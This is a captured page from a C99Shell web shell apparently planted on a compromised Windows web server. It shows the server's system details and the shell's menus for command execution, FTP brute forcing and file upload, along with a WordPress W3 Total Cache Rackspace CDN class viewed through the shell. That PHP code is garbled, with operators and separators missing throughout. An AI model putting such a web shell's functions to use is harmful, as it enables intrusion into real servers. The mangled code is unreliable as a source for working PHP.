!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\w3-total-cache\lib\W3\Cdn\   drwxrwxrwx
Free 3.26 GB of 39.52 GB (8.25%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Rscf.php (9.73 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Rackspace Cloud Files CDN engine
 */
if (!defined('ABSPATH')) {
    die();
}

w3_require_once(W3TC_LIB_W3_DIR '/Cdn/Base.php');
w3_require_once(W3TC_LIB_CF_DIR '/cloudfiles.php');

/**
 * Class W3_Cdn_Rscf
 */
class W3_Cdn_Rscf extends W3_Cdn_Base {
    
/**
     * Auth object
     *
     * @var CF_Authentication
     */
    
var $_auth null;

    
/**
     * Connection object
     *
     * @var CF_Connection
     */
    
var $_connection null;

    
/**
     * Container object
     *
     * @var CF_Container
     */
    
var $_container null;

    
/**
     * PHP5 Constructor
     *
     * @param array $config
     */
    
function __construct($config = array()) {
        
$config array_merge(array(
            
'user' => '',
            
'key' => '',
            
'location' => 'us',
            
'container' => '',
            
'cname' => array(),
        ), 
$config);

        
parent::__construct($config);
    }

    
/**
     * Init connection object
     *
     * @param string $error
     * @return boolean
     */
    
function _init(&$error) {
        if (empty(
$this->_config['user'])) {
            
$error 'Empty username.';

            return 
false;
        }

        if (empty(
$this->_config['key'])) {
            
$error 'Empty API key.';

            return 
false;
        }

        if (empty(
$this->_config['location'])) {
            
$error 'Empty API key.';

            return 
false;
        }

        switch (
$this->_config['location']) {
            default:
            case 
'us':
                
$host US_AUTHURL;
                break;

            case 
'uk':
                
$host UK_AUTHURL;
                break;
        }

        try {
            
$this->_auth = new CF_Authentication($this->_config['user'], $this->_config['key'], null$host);
            
$this->_auth->ssl_use_cabundle();
            
$this->_auth->authenticate();

            
$this->_connection = new CF_Connection($this->_auth);
            
$this->_connection->ssl_use_cabundle();
        } catch (
Exception $exception) {
            
$error $exception->getMessage();

            return 
false;
        }

        return 
true;
    }

    
/**
     * Init container object
     *
     * @param string $error
     * @return boolean
     */
    
function _init_container(&$error) {
        if (empty(
$this->_config['container'])) {
            
$error 'Empty container.';

            return 
false;
        }

        try {
            
$this->_container $this->_connection->get_container($this->_config['container']);
        } catch (
Exception $exception) {
            
$error $exception->getMessage();

            return 
false;
        }

        return 
true;
    }

    
/**
     * Formats URL
     *
     * @param string $path
     * @return string
     */
    
function _format_url($path) {
        
$domain $this->get_domain($path);

        if (
$domain) {
            
$scheme $this->_get_scheme();

            
// it does not support '+', requires '%2B'
            
$path str_replace('+''%2B'$path);
            
$url sprintf('%s://%s/%s'$scheme$domain$path);

            return 
$url;
        }

        return 
false;
    }

    
/**
     * Uploads files to CDN
     *
     * @param array $files
     * @param array $results
     * @param boolean $force_rewrite
     * @return boolean
     */
    
function upload($files, &$results$force_rewrite false) {
        
$error null;

        if (!
$this->_init($error) || !$this->_init_container($error)) {
            
$results $this->_get_results($filesW3TC_CDN_RESULT_HALT$error);

            return 
false;
        }

        foreach (
$files as $file) {
            
$local_path $file['local_path'];
            
$remote_path $file['remote_path'];

            if (!
file_exists($local_path)) {
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_ERROR'Source file not found.');

                continue;
            }

            try {
                
$object = new CF_Object($this->_container$remote_pathfalsefalse);
            } catch (
Exception $exception) {
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_ERRORsprintf('Unable to create object (%s).'$exception->getMessage()));

                continue;
            }

            if (!
$force_rewrite) {
                try {
                    list(
$status$reason$etag$last_modified$content_type$content_length$metadata) = $this->_container->cfs_http->head_object($object);
                } catch (
Exception $exception) {
                    
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_ERRORsprintf('Unable to get object info (%s).'$exception->getMessage()));

                    continue;
                }

                if (
$status >= 200 && $status 300) {
                    
$hash = @md5_file($local_path);

                    if (
$hash === $etag) {
                        
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_OK'Object up-to-date.');

                        continue;
                    }
                }
            }

            try {
                
$object->load_from_filename($local_path);
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_OK'OK');
            } catch (
Exception $exception) {
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_ERRORsprintf('Unable to write object (%s).'$exception->getMessage()));
            }
        }

        return !
$this->_is_error($results);
    }

    
/**
     * Deletes files from CDN
     *
     * @param array $files
     * @param array $results
     * @return boolean
     */
    
function delete($files, &$results) {
        
$error null;

        if (!
$this->_init($error) || !$this->_init_container($error)) {
            
$results $this->_get_results($filesW3TC_CDN_RESULT_HALT$error);

            return 
false;
        }

        foreach (
$files as $file) {
            
$local_path $file['local_path'];
            
$remote_path $file['remote_path'];

            try {
                
$this->_container->delete_object($remote_path);
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_OK'OK');
            } catch (
Exception $exception) {
                
$results[] = $this->_get_result($local_path$remote_pathW3TC_CDN_RESULT_ERRORsprintf('Unable to delete object (%s).'$exception->getMessage()));
            }
        }

        return !
$this->_is_error($results);
    }

    
/**
     * Test CDN connection
     *
     * @param string $error
     * @return boolean
     */
    
function test(&$error) {
        if (!
parent::test($error)) {
            return 
false;
        }

        if (!
$this->_init($error) || !$this->_init_container($error)) {
            return 
false;
        }

        
$string 'test_rscf_' md5(time());

        try {
            
$object $this->_container->create_object($string);
            
$object->content_type 'text/plain';
            
$object->write($stringstrlen($string));
        } catch (
Exception $exception) {
            
$error sprintf('Unable to write object (%s).'$exception->getMessage());

            return 
false;
        }

        try {
            
$object $this->_container->get_object($string);
            
$data $object->read();
        } catch (
Exception $exception) {
            
$error sprintf('Unable to read object (%s).'$exception->getMessage());

            try {
                
$this->_container->delete_object($string);
            } catch (
Exception $exception) {
            }

            return 
false;
        }

        if (
$data != $string) {
            
$error 'Objects are not equal.';

            try {
                
$this->_container->delete_object($string);
            } catch (
Exception $exception) {
            }

            return 
false;
        }

        try {
            
$this->_container->delete_object($string);
        } catch (
Exception $exception) {
            
$error sprintf('Unable to delete object (%s).'$exception->getMessage());

            return 
false;
        }

        return 
true;
    }

    
/**
     * Returns CDN domain
     *
     * @return array
     */
    
function get_domains() {
        if (!empty(
$this->_config['cname'])) {
            return (array) 
$this->_config['cname'];
        }

        return array();
    }

    
/**
     * Returns VIA string
     *
     * @return string
     */
    
function get_via() {
        return 
sprintf('Rackspace Cloud Files: %s'parent::get_via());
    }

    
/**
     * Creates container
     *
     * @param string $container_id
     * @param string $error
     * @return boolean
     */
    
function create_container(&$container_id, &$error) {
        if (!
$this->_init($error)) {
            return 
false;
        }

        try {
            
$containers $this->_connection->list_containers();
        } catch (
Exception $exception) {
            
$error sprintf('Unable to list containers (%s).'$exception->getMessage());

            return 
false;
        }

        if (
in_array($this->_config['container'], (array) $containers)) {
            
$error sprintf('Container already exists: %s.'$this->_config['container']);

            return 
false;
        }

        try {
            
$container $this->_connection->create_container($this->_config['container']);
            
$container->make_public();
        } catch (
Exception $exception) {
            
$error sprintf('Unable to create container: %s (%s).'$this->_config['container'], $exception->getMessage());

            return 
false;
        }

        
$matches null;

        if (
preg_match('~^https?://(.+)$~'$container->cdn_uri$matches)) {
            
$container_id $matches[1];
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--